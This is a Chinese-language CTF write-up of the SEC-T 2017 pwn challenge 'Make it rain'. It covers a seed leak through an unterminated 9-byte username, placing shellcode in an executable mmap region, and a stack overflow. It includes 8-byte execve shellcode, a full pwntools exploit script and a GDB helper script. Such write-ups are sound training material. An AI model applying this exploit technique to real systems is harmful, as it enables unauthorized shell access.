make it rain

Make it rain

0x00 前言

【时间】2017.9

【出处】SEC-T CTF

【类型】PWN

【分值】250

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

0x01 漏洞分析

程序功能简单,在开始的时候会要求输入Username,之后就会打印出菜单。

1) Change user 可以修改 Username

2) Make it rain 会要求验证一串hash值,验证通过可以再进行一次输入(栈溢出),验证没通过就直接exit

3) Exit exit()

main中只有四个函数

init()

/dev/urandom读取四个字节的随机字节组成一个int变量rand_data,保存位置在bss上,而且紧挨着username

而在输入username的时候我们可以输入9个字节,我们输入八个字节的话就可以在打印username的时候泄漏出rand_data的值了。

而之后的srand()又是以rand_data作为种子,所以之后的rand()的值就是可预测的了。

login()

这里就是进行第一次的username的输入了,观察到可以输入九个字节,而且没有加上’\x00’截断。

create_secret()

首先创建一片内存映射区域,并且是可读可执行的,只有在往里面写入数据的时候才改为可读可写,之后又改回可读可执行。

它这片区域固定地从0x40000开始,并且长度为0x30D40个字节。

开头的前九个字节是输入的username,后面的数据则全部是由rand()生成的随机数。

menu()

这里就是主循环的地方了,主要的就是一个函数make_it_rain()这个函数下面有两个函数

verify_secure_hash()负责生成hash值和验证输入是否与hash值相等

而这串hash的生成主要就是和secret指向的username的值以及后面的随机数有关。

如果这里验证成功了,就可以进入withdraw函数,验证失败就exit()给你看。

withdraw()

这里就可以进行栈溢出了。

0x02 思路

程序除了canary,其他保护全开,但是程序刚开始创建的那片mmap区域是可执行的,而且刚开始的九个字节可控。

所以我们首先要控制username的9个字节作为可以正常开启shell的shellcode,然后控制rip跳过去执行就可以了。

所以总体思路如下

将9个字节以内的shellcode作为username进行输入。

在进行hash验证之前计算出正确的hash。

栈溢出,控制rip到0x40000

0x03 shellcode

什么样的shellcode可以控制在9个字节以内?

1
2
3
4
5
6
7
pop rax
push rsp
pop rcx
pop rdx
push rsp
pop rdi
int 0x80

这里一共八个字节,只要控制好栈上的内容,这串shellcode就是有效的。

0x04 hash

如何计算出hash?

我对sha256并不是很熟悉,所以我选择让程序本身帮我完成这件事。

由于最后的hash值主要和rand_data和username有关,而这两个变量,一个是我可控的,一个是我可以泄漏的。

于是我在攻击服务的同时,再在本地将程序的文件载入GDB,并且使这两个进程的以上两个变量的值相等,那么它们最后的hash就是相等的。

0x05 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#bank.py
#!/usr/bin/python
from pwn import *
#------------------------Setting----------------------
EXCV = './bank'
HOST = ''
PORT =
context(log_level='debug')
e = ELF(EXCV)
LOCAL = 1
REMOTE = 0
if LOCAL:
io = process(EXCV)
libc = e.libc
if REMOTE:
io = remote(HOST,PORT)
libc = ELF('libc-2.23.so')
#------------------------Data-------------------------
shellcode = asm("pop rax; push rsp; pop rcx; pop rdx; push rsp; pop rdi;syscall;",arch='amd64',os = 'linux')
pad_len = 0x10+8
rip = 0x40000
#------------------------Function---------------------
def leak_seed():
io.recvuntil('Username: ')
io.send(shellcode)
io.recvuntil(shellcode)
seed = u32(io.recv(4))
return seed
#-----------------------------------------------------
seed = leak_seed()
io.success('seed :'+hex(seed))
fp = open("seed.txt",'w')
fp.write(str(seed))
fp.close()
#gdb.attach(io)
argv = ['gdb','-x','./bank_gdb.py']
p = process(argv)
p.recvuntil('Username: ')
p.send(shellcode)
p.recvuntil('#> ')
p.sendline('2')
sleep(1)#wait gdb run till dump the data to file.
p.kill()
fp = open("result.txt",'r')
secure_hash = fp.readline()
fp.close()
io.recvuntil('#> ')
io.sendline('2')
io.recvuntil('Please enter your secure hash: ')
io.send(secure_hash)
io.recvuntil('withdraw?: ')
payload = '\x00'*pad_len
payload += p64(rip)
payload += p64(0x3b)
payload += p64(0)
payload += "/bin/sh\x00"
payload += "end"
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#bank_gdb.py
import gdb
import sys
import os
def cmd(cmd,to_string=True):
return gdb.execute(cmd)
fp = open('seed.txt','r')
data = fp.readline()
seed = int(data)
fp.close()
cmd('file ./bank')
#create_secret = 0x55555555510b
cmd('b *0x555555554c56')
cmd('b *0x55555555510b')
cmd('run')
cmd('set variable rand_data='+str(seed))
cmd('c')
#cmd('set {long long}&username=0x6161616161616161')
cmd('b *0x555555554ed2')
cmd('c')
#cmd('b sha256_final')
cmd('dump memory ./result.txt 0x7fffffffdaa0 0x7fffffffdae0')
cmd('quit')

这里只使用了execute()方法,不过应对简单的使用场景是足够的,更多有关于gdb的python接口信息可以查看gdb官方文档。